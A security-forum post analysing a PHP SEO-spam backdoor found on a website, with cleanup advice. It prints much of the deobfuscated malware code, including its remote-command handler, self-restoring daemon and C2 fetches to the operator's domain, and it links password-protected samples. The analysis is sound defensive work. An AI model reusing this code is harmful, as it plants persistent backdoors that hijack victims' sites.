首页
社区
课程
招聘
[原创]记录一次在友站问答板块遇到的一次php shell的分析与处理
发表于: 2022-6-19 16:28 5002

[原创]记录一次在友站问答板块遇到的一次php shell的分析与处理

2022-6-19 16:28
5002

题主发的原样本
pan.baidu.com/s/1JW9EblEq2LIaa1ssOm7_QQ?pwd=qhes 提取码: qhes
花了两块钱在某站解析了一下 样本丢到网盘了

https://1drv.ms/u/s!AtkKSStpXipYhnGwHDO7KKvj8Iqn?e=nXNZQh
开始执行后一番骚操作后

1
2
3
4
5
6
7
8
9
try {
        $obj = new SeoPlatClient();
        $re = $obj->run($current_file);
} catch (Exception $e) {
        if (isset($_REQUEST['_seoplat_debug'])) {
                var_dump($e->getMessage());
                exit;
        }
}

初始化了一个SeoPlatClient,并且调用了他的run函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function run($OOO0)
        {
                $OOOO = SeoPlatCfg::getSysVar('enable_debug_log');
                SeoPlatLog::set_debug_log_flag($OOOO);
                SeoPlatLog::log('info', 'API VERSION: ' . $this->current_version);
                $this->current_file = $OOO0;
                $this->get_spider_dynamic_cfg();
                if (isset($_REQUEST['_sp_cmd'])) {
                        @ignore_user_abort(true);
                        @ini_set('memory_limit', '2048M');
                        @set_time_limit(0);
                        SeoPlatLog::log('info', 'request is seoCmd: ' . $_REQUEST['_sp_cmd']);
                        $O0000 = SeoPlatApi::filter();
                        SeoPlatApi::verifyApi($O0000);
                        $this->seoCmd($O0000);
                        exit;
                }

这一段很明显的看到获取传入的_sp_cmd参数
SeoPlatApi::filter();是将传入数据新建一个array_map,也就是说给传入数据建了个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static function filter($OO000O000 = '')
        {
                return array_map('htmlspecialchars', $_REQUEST);
        }[/mw_shl_code]
然后verifyApi还校验了这个文件的APPID和APPKEY
[mw_shl_code=php,true]        public static function verifyApi($OO000000O)
        {
                $OO000000O['appid'] = SeoPlatConf::APPID;
                $OO000000O['appsecret'] = SeoPlatConf::APPSECRET;
                $OO00000O0 = $OO000000O['sign'];
                unset($OO000000O['sign']);
                ksort($OO000000O);
                $OO00000OO = '';
                foreach ($OO000000O as $OO0000O00 => $OO0000O0O) {
                        if (is_null($OO0000O0O)) {
                                continue;
                        }
                        if (strpos($OO0000O00, '_sp_') === false) {
                                continue;
                        }
                        if (strpos($OO0000O00, '_sp_post_') === 0) {
                                continue;
                        }
                        $OO00000OO .= $OO0000O0O;
                }
                $OO0000OO0 = md5($OO00000OO);
                if ($OO0000OO0 != $OO00000O0) {
                        SeoPlatLog::log('error', 'verifyApi sign failed');
                        SeoPlatApi::error('api.php: 验证失败');
                }
                SeoPlatLog::log('info', 'verifyApi ok');
                return 1;
        }

下边这个是文件的配置&一个api接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class SeoPlatConf
{
        const APPID = '92e623ae8fe1f827';
        const APPSECRET = 'c8adf881e6f7fe7268e748353ba792f2';
        public static function key($O000OOO0O)
        {
                $O000OOOO0 = array('API' => 'http://dir3.platcloudapi.com/api/', 'COOKIE_JUMP_COUNT' => 'HM_PS_PSSCID', 'COOKIE_JUMP_TIME' => 'HM_PS_PSSTID', 'OVERTIME_CFG' => 10, 'OVERTIME_API_VERSION' => 60);
                return $O000OOOO0[$O000OOO0O];
        }
        public static function getPath($O000OOOOO)
        {
                $O00O00000 = '.acI2m/';
                $O00O0000O = array('BAKEUP_PATH' => 'BAKEUP_PATH/', 'TPL_PATH' => 'TPL_PATH/', 'TPLTIME_PATH' => 'TPLTIME_PATH/', 'CFG_PATH' => 'CFG_PATH/', 'VAR_PATH' => 'VAR_PATH/', 'TMP_PATH' => 'TMP_PATH/');
                return SeoPlatCache::cacheDir() . $O00O00000 . $O00O0000O[$O000OOOOO];
        }
}

盲猜platcloudapi.com是作者域名,查了一下whois,有隐私保护

 

npd++太难受了 掏出jetbrains继续看

1
verifyApi($OO000000O)

传入的这个参数也就是前文提到的那个array_map
也就是说有个sign签名是用来校验是否为作者请求的,appid和appsecret是作者的签名秘钥

1
2
3
4
if ($OO0000OO0 != $OO00000O0) {
           SeoPlatLog::log('error', 'verifyApi sign failed');
           SeoPlatApi::error('api.php: 验证失败');
       }

校验方法没仔细看,盲猜是xxxx=xxxxx&xxxx=xxxxx,最后有一行

1
$OO0000OO0 = md5($OO00000OO);

应该就是结合appid和appsecret计算sign
如果不匹配就直接跳转到error函数然后exit了

 

api校验成功就进入最关键的主函数了(seoCmd)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected function seoCmd($O0O00)
   {
       SeoPlatLog::log('info', 'execute seoCmd');
       switch ($O0O00['_sp_cmd']) {
           case 'daemon_check':
               SeoPlatDaemon::init($this->current_file);
               $O0O0O = SeoPlatDaemon::checklive();
               echo $O0O0O ? 'ok' : 'no';
               break;
           case 'daemon':
               $this->backDaemon($this->current_file);
               break;
           case 'daemon_kill':
               SeoPlatDaemon::init($this->current_file);
               echo SeoPlatDaemon::killself(true);
               break;
           case 'staticmode':
               $O0OO0 = array('_sp_cmdid' => $O0O00['_sp_cmdid'], '_sp_tplid' => $O0O00['_sp_tplid'], '_sp_tpltime' => $O0O00['_sp_tpltime'], '_sp_begin' => $O0O00['_sp_begin'], '_sp_num' => $O0O00['_sp_num']);
               $this->staticMode($O0OO0);
               break;
           case 'check_writable_dir':
               $this->checkWritableDir();
               break;
           case 'check':
               echo "<!-- statusOK -->";
               break;
           case 'check_tpl_exist':
               $O0OOO = SeoPlatTpl::timeFn($O0O00['_sp_tplid']);
               echo SeoPlatCache::checkFileUpdateTime($O0OOO, $O0O00['_sp_tpltime']);
               break;
           case 'update_dynamic_cfg':
           case 'upd_client_sysvar':
               echo SeoPlatCfg::updateAllCfg();
               break;
           case 'cache_dir':
               echo SeoPlatCache::cacheDir();
               break;
           default:
               break;
       }

以上switch传入参数检查共有10个分支,那就是十个功能
传入的参数_sp_cmd是主控制符
功能1:daemon_check
首先跳转初始化文件,然后运行checkLive函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static function init($OO0OO0OOO)
    {
        $OO0OOO000 = SeoPlatCache::daemonDir('BAKEUP_PATH');
        self::$_pid = getmypid();
        self::$_pid_file = $OO0OOO000 . 'pid';
        self::$_self_file = __FILE__;
        self::$_self_file_bak = $OO0OOO000 . 'api.php';
        self::$_include_self_file = $OO0OO0OOO;
        self::$_include_self_file_bak = $OO0OOO000 . 'include_api.php';
        self::$_checklive = $OO0OOO000 . md5(__FILE__) . 'checklive';
        self::$_killflag = $OO0OOO000 . 'killflag';
    }
 
    public static function checklive()
    {
        $OO0OOOOO0 = self::$_checklive;
        $OO0OOOOOO = SeoPlatCache::readFile($OO0OOOOO0);
        $OOO000000 = $OO0OOOOOO + self::$_sleep_sec + 2 > time() ? date('Y-m-d H:i:s', $OO0OOOOOO) : 0;
        return $OOO000000;
    }

这里的SeoPlatCache::daemonDir('BAKEUP_PATH');是daemonDir产生的,我们跟过去

1
2
3
4
5
6
7
8
9
public static function daemonDir($O0O00OOO0 = '')
{//BAKEUP_PATH
    self::cacheDir();
    $O0O00OOOO = self::$SEO_DAEMON_PATH;
    if (!empty($O0O00OOO0)) {
        $O0O00OOOO .= $O0O00OOO0 . '/';
    }
    return self::getEncodeFileName($O0O00OOOO) . '/';
}

此处调用了cacheDir函数设置了缓存目录并且调用setCachePath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static function tmpDir($O0O000OOO)
  {
      $O0O00O000 = "/tmp/";
      if (PATH_SEPARATOR != ':') {
          $O0O00O000 = "C:/Windows/Temp/";
      }
      if (!is_writable($O0O00O000) && $O0O000OOO && is_writable($O0O000OOO)) {
          $O0O00O000 = $O0O000OOO;
      } else {
          $O0O00O000 .= '.armX86/';
      }
      return $O0O00O000;
  }
  public static function setCachePath($O0O00O0O0)
  {
      $O0O00O0OO = SeoPlatConf::APPID;
      $O0O00O0OO .= substr(md5($_SERVER['HTTP_HOST']), 8, 16);
      $O0O00OO00 = self::tmpDir($O0O00O0O0);
      self::$SEO_CACHE_PATH = $O0O00OO00 . "/.s{$O0O00O0OO}/";
      self::$SEO_DAEMON_PATH = $O0O00OO00 . "/.netio_stat/";
  }

首先请立即删除目录/tmp/下.s和.netio_stat开头的文件、文件夹!!!,如果你的网站/tmp/是不可的,那么.armX86/目录也必须要删除
看完cache我们回到daemonDir 变量$O0O00OOOO获取了$SEO_DAEMON_PATH
也就是说init中的初始化变量$OO0OOO000也就是上面我们提到的目录/.netio_stat/中的/BAKEUP_PATH/文件、文件夹
里面的pid、api.php、include_api.php、一大串md5+checklive、killflag都是他的文件

 

如果是在windows下还要清理C:/Windows/Temp

1
2
3
4
5
6
7
8
9
10
11
12
13
private static function tmpDir($O0O000OOO)
 {
     $O0O00O000 = "/tmp/";
     if (PATH_SEPARATOR != ':') {
         $O0O00O000 = "C:/Windows/Temp/";
     }
     if (!is_writable($O0O00O000) && $O0O000OOO && is_writable($O0O000OOO)) {
         $O0O00O000 = $O0O000OOO;
     } else {
         $O0O00O000 .= '.armX86/';
     }
     return $O0O00O000;
 }

再来到checklive函数,获取到checklive文件路径
读取后加上时间信息返回给控制台所以daemon_check就是检查shell是否存活
请把上述文件清理干净!

 

第二个功能:daemon
跳转到函数backDaemon
一样初始化

1
2
3
4
5
       SeoPlatDaemon::init($OO000);
        $OO00O = SeoPlatDaemon::checklive();
``
存活就直接输出信息并且exit退出
否则就判断pcntl_fork()函数是否可用,如果可用就执行

protected function seoDaemon()
{
@ignore_user_abort(true);
@set_time_limit(0);
$OO0O0 = pcntl_fork();
if ($OO0O0 > 0 || $OO0O0 == -1) {
exit;
}
$OO0OO = pcntl_fork();
if ($OO0OO > 0 || $OO0O0 == -1) {
exit;
}
}

1
2
3
4
5
搜了一下我科普下:
pcntl_fork()函数执行的时候,会创建一个子进程。子进程会复制当前进程,也就是父进程的所有:数据,代码,还有状态。
 
也就是说创建自己的副本,如果创建不了就退出了
随后执行该功能主函数(run)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function run()
{
    SeoPlatLog::debug_turn_off();
    SeoPlatLog::file_log('info', 'new run in');
    self::backup();
    self::backup_include();
    SeoPlatCache::writeFile(self::$_pid_file, self::$_pid);
    chmod(self::$_checklive, 0777);
    $OO0OOO0O0 = 0;
    SeoPlatStatic::ready();
    while (1) {
        clearstatcache();
        $OO0OOO0OO = SeoPlatCfg::getSysVarDaemon();
        SeoPlatLog::set_file_log_flag($OO0OOO0OO['enable_file_log']);
        SeoPlatLog::file_log('info', 'while in : ' . $OO0OOO0OO['enable_daemon']);
        if (!$OO0OOO0OO['enable_daemon']) {
            break;
        }
        self::killself(false);
        self::checkpid();
        SeoPlatCache::writeFile(self::$_checklive, time());
        SeoPlatLog::file_log('info', 'checklive');
        self::check_self_diff();
        self::check_include_self_diff();
        $OO0OOO0O0++;
        if ($OO0OOO0O0 >= 5) {
            SeoPlatStatic::checkallfile();
            $OO0OOO0O0 = 0;
        }
        SeoPlatLog::clean_file_log();
        SeoPlatLog::file_log('info', 'while out, sleeping');
        sleep(self::$_sleep_sec);
    }
}
1
2
3
主要的是[mw_shl_code=php,true]        self::backup();        self::backup_include();[/mw_shl_code]
看名字是备份自己?
这里的        SeoPlatStatic::ready();跳转后有个        self::get_remote_allfile();

public static function get_remote_allfile()
{
$OOO0OOO00 = SeoPlatApi::getData('api_sys/static_allfile');
if ($OOO0OOO00) {
if (!is_dir(dirname(self::$_allfile))) {
mkdir(dirname(self::$_allfile), 0777, true);
}
SeoPlatCache::writeFile(self::$_allfile, $OOO0OOO00);
chmod(self::$_allfile, 0777);
}
}
public static function getData($OO000O00O, $OO000O0O0 = array(), $OO000O0OO = 1)
{
$OO000OO00 = self::getUrl($OO000O00O, $OO000O0O0);
$OO000OO0O = time();
for ($OO000OOO0 = 0; $OO000OOO0 < 50; $OO000OOO0++) {
SeoPlatLog::log('info', "start single_curl: {$OO000OOO0} times");
$OO000OOOO = self::use_socket($OO000OO00);
if (!empty($OO000OOOO)) {
break;
}
$OO00O0000 = time() - $OO000OO0O;
if ($OO00O0000 > 5) {
break;
}
}
if ($OO000O0OO == 2) {
echo '<pre>';
var_dump($OO000OO00, $OO000OOOO);
exit;
} elseif ($OO000O0OO) {
$OO000OOOO = json_decode($OO000OOOO, true);
return $OO000OOOO['info'];
} else {
return $OO000OOOO;
}
}
public static function getUrl($OO00O00O0, $OO00O00OO = array())
{
$OO00O00OO['ua'] = @$_SERVER['HTTP_USER_AGENT'];
$OO00O00OO['refer'] = @$_SERVER['HTTP_REFERER'];
$OO00O00OO['request_uri'] = @$_SERVER['REQUEST_URI'];
$OO00O00OO['scheme'] = @$_SERVER['REQUEST_SCHEME'];
$OO00O00OO['appid'] = SeoPlatConf::APPID;
$OO00O00OO['spider'] = self::getSpider();
$OO00O00OO['host'] = $_SERVER['HTTP_HOST'];
$OO00O00OO['request'] = $_SERVER['REQUEST_URI'];
$OO00O00OO['time'] = '' . time();
$OO00O00OO['sign'] = self::sign($OO00O00OO);
return SeoPlatConf::key('API') . $OO00O00O0 . '?' . http_build_query($OO00O00OO);
}

1
看名字是读取远程文件?,这里实际请求的就是作者的api网关下的api_sys/static_allfile文件

http://dir3.platcloudapi.com/api/

1
直接访问提示{"code":1,"info":"appid error"},得带上appid和appsecret

http://dir3.platcloudapi.com/api/api_sys/static_allfile?appid=92e623ae8fe1f827&sign=f8d6cf9e8b0d1c19847d6e2be884492a```
光这俩也不行,看来得完整模拟,头疼 第二份样本sign计算貌似有点问题?
写了个脚本计算sign,但是还是说sign错误,请题主把你的域名发给我,他要校验域来源,我取一下远程文件(已经给我了)
再次尝试请求
网关就返回

1
{"code":0,"info":""}

疑惑的是info是空的?怀疑可能是shell没启动

 

先继续往下看,取到remotefile就再BAKEUP_PATH目录下的static_allfile写入文件
进入循环后获取shell状态

1
$OO0OOO0OO = SeoPlatCfg::getSysVarDaemon();

如果enable_daemon未打开那么就直接退出了
他一共检查+重复了五次...我也不知为啥,是在不停地检查自己和备份(SeoPlatClient)是否一致,不一致就导入还是继续备份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static function check_self_diff()
 {
     $OOO0000O0 = file_get_contents(self::$_self_file);
     if (stripos($OOO0000O0, 'SeoPlatClient') === false || stripos($OOO0000O0, 'staticMode') === false) {
         SeoPlatLog::file_log('error', 'not found "SeoPlatClient", "staticMode" in file');
         self::backup(1);
     }
 }
 public static function check_include_self_diff()
 {
     $OOO000O00 = file_get_contents(self::$_include_self_file);
     $OOO000O0O = file_get_contents(self::$_include_self_file_bak);
     if ($OOO000O00 != $OOO000O0O) {
         SeoPlatLog::file_log('error', 'SeoPlatClient , staticMode not in file');
         self::backup_include(1);
     }
 }

下面两个备份路径请一起清除:

1
2
api_sys/self_file
api_sys/include_self_file

已联系到题主,正在分析remote file....
remotefile样本:

1
https://1drv.ms/u/s!AtkKSStpXipYhnKVvPhV48yJUayy?e=bflIvj

已解密版本:

1
https://1drv.ms/u/s!AtkKSStpXipYhnOpReaDsq8sfcxm

分析后....盲猜?daemon命令就是个更新&备份

 

嘛....一大堆命令...我再挑几个看看吧
update_dynamic_cfg函数 又是getData获取远程配置的

 

staticMode是主功能部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
protected function staticMode($OOOOOO0)
   {
       $OOOOOOO = SeoPlatTpl::get_recent_tpl($OOOOOO0['_sp_tplid'], $OOOOOO0['_sp_tpltime']);
       $O0000000 = array('cmdid' => $OOOOOO0['_sp_cmdid']);
       $O000000O = array();
       SeoPlatStatic::init();
       for ($O00000O0 = $OOOOOO0['_sp_begin']; $O00000O0 < $OOOOOO0['_sp_num']; $O00000O0++) {
           $O0000000['cmdindex'] = $O00000O0;
           $O000000O[] = SeoPlatApi::getUrl('api_static/vars', $O0000000);
           if (count($O000000O) >= 10 || $O00000O0 == $OOOOOO0['_sp_num'] - 1) {
               $O00000OO = SeoPlatApi::multiGetData($O000000O);
               foreach ($O00000OO as $O0000O00) {
                   $O0000O0O = $O0000O00['filename'];
                   $O0000OO0 = $O0000O00['html'];
                   if (SeoPlatCache::copyFile($O0000O0O, 1)) {
                       $O0000OOO = 1;
                       continue;
                   }
                   $O0000OOO = SeoPlatCache::setRealFile($O0000O0O, $O0000OO0);
                   if (!$O0000OOO) {
                       break 2;
                   }
                   SeoPlatStatic::affix_allfile("\n" . $O0000O00['id'] . '|' . $O0000O00['filename']);
                   SeoPlatCache::copyFile($O0000O0O);
               }
               $O000000O = array();
           }
       }
       $O0000000['cmd_status'] = $O0000OOO ? 1 : 0;
       $O0000000['cmd_more'] = $O0000OOO ? 'ok' : 'no write auth';
       SeoPlatApi::getData('api_static/cmdre', $O0000000);
       exit('ok,good');
   }

样本:
https://1drv.ms/t/s!AtkKSStpXipYhnQ9QIDikb-FrAE0?e=th0cUc

 

可以看到

1
2
"sys_cfg":"a:7:{s:7:\"charset\";s:0:\"\";s:9:\"enable_ob\";i:0;s:13:\"enable_daemon\";i:1;s:16:\"enable_debug_log\";i:0;s:15:\"enable_file_log\";i:0;s:9:\"self_file\";s:20:\"\/tmp\/.ICE-unix\/qiqi0\";s:17:\"include_self_file\";s:54:\"\/www\/wwwroot\/pbootcms_xamyour\/core\/function\/handle.php\";}"
    }

那么include_self_file就是它的主文件了,其他数据是按照时间段来给站内引流到菠菜站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static function copyFile($O0O0O0O0O, $O0O0O0OO0 = 0)
{
    $O0O0O0OOO = SEOPLAT_PATH . $O0O0O0O0O;
    $O0O0OO000 = substr(self::cacheDir(), 0, -1) . $O0O0O0O0O;
    if ($O0O0O0OO0 == 1 && !is_file($O0O0OO000)) {
        return false;
    }
    if (!is_dir(dirname($O0O0O0OOO))) {
        mkdir(dirname($O0O0O0OOO), 0775, true);
    }
    if (!is_dir(dirname($O0O0OO000))) {
        mkdir(dirname($O0O0OO000), 0775, true);
    }
    if ($O0O0O0OO0 == 0) {
        $O0O0OO00O = copy($O0O0O0OOO, $O0O0OO000);
    } else {
        $O0O0OO00O = copy($O0O0OO000, $O0O0O0OOO);
    }
    return $O0O0OO00O;
}

总结来说 就是把前面那个远程配置里的信息下载下来缓存到指定的缓存文件夹里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function getSpider()
 {
     if (self::$spider) {
         return self::$spider;
     }
     $OO00OO0OO = array("baiduspider", "baiduboxapp", "googlebot", "sosospider", "360spider", "slurp", "yodaobot", "sogou", "msnbot", "bingbot", "yisouspider");
     $OO00OOO00 = array("baidu", "baidu", "google", "soso", "360", "slurp", "yodao", "sogou", "msn", "bing", "sm");
     $OO00OOO0O = strtolower(@$_SERVER["HTTP_USER_AGENT"]);
     foreach ($OO00OO0OO as $OO00OOOO0 => $OO00OOOOO) {
         if (strpos($OO00OOO0O, $OO00OOOOO) !== false) {
             self::$spider = $OO00OOO00[$OO00OOOO0];
             break;
         }
     }
     if (!self::$spider) {
         self::$spider = 'none';
     }
     return self::$spider;
 }

遇到爬虫还会特殊处理

 

把上面文件清理完就完事儿了 没看到恶意语句执行

 

注:友站id Event是我本人

 

以上样本密码均为

1
52pojie

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//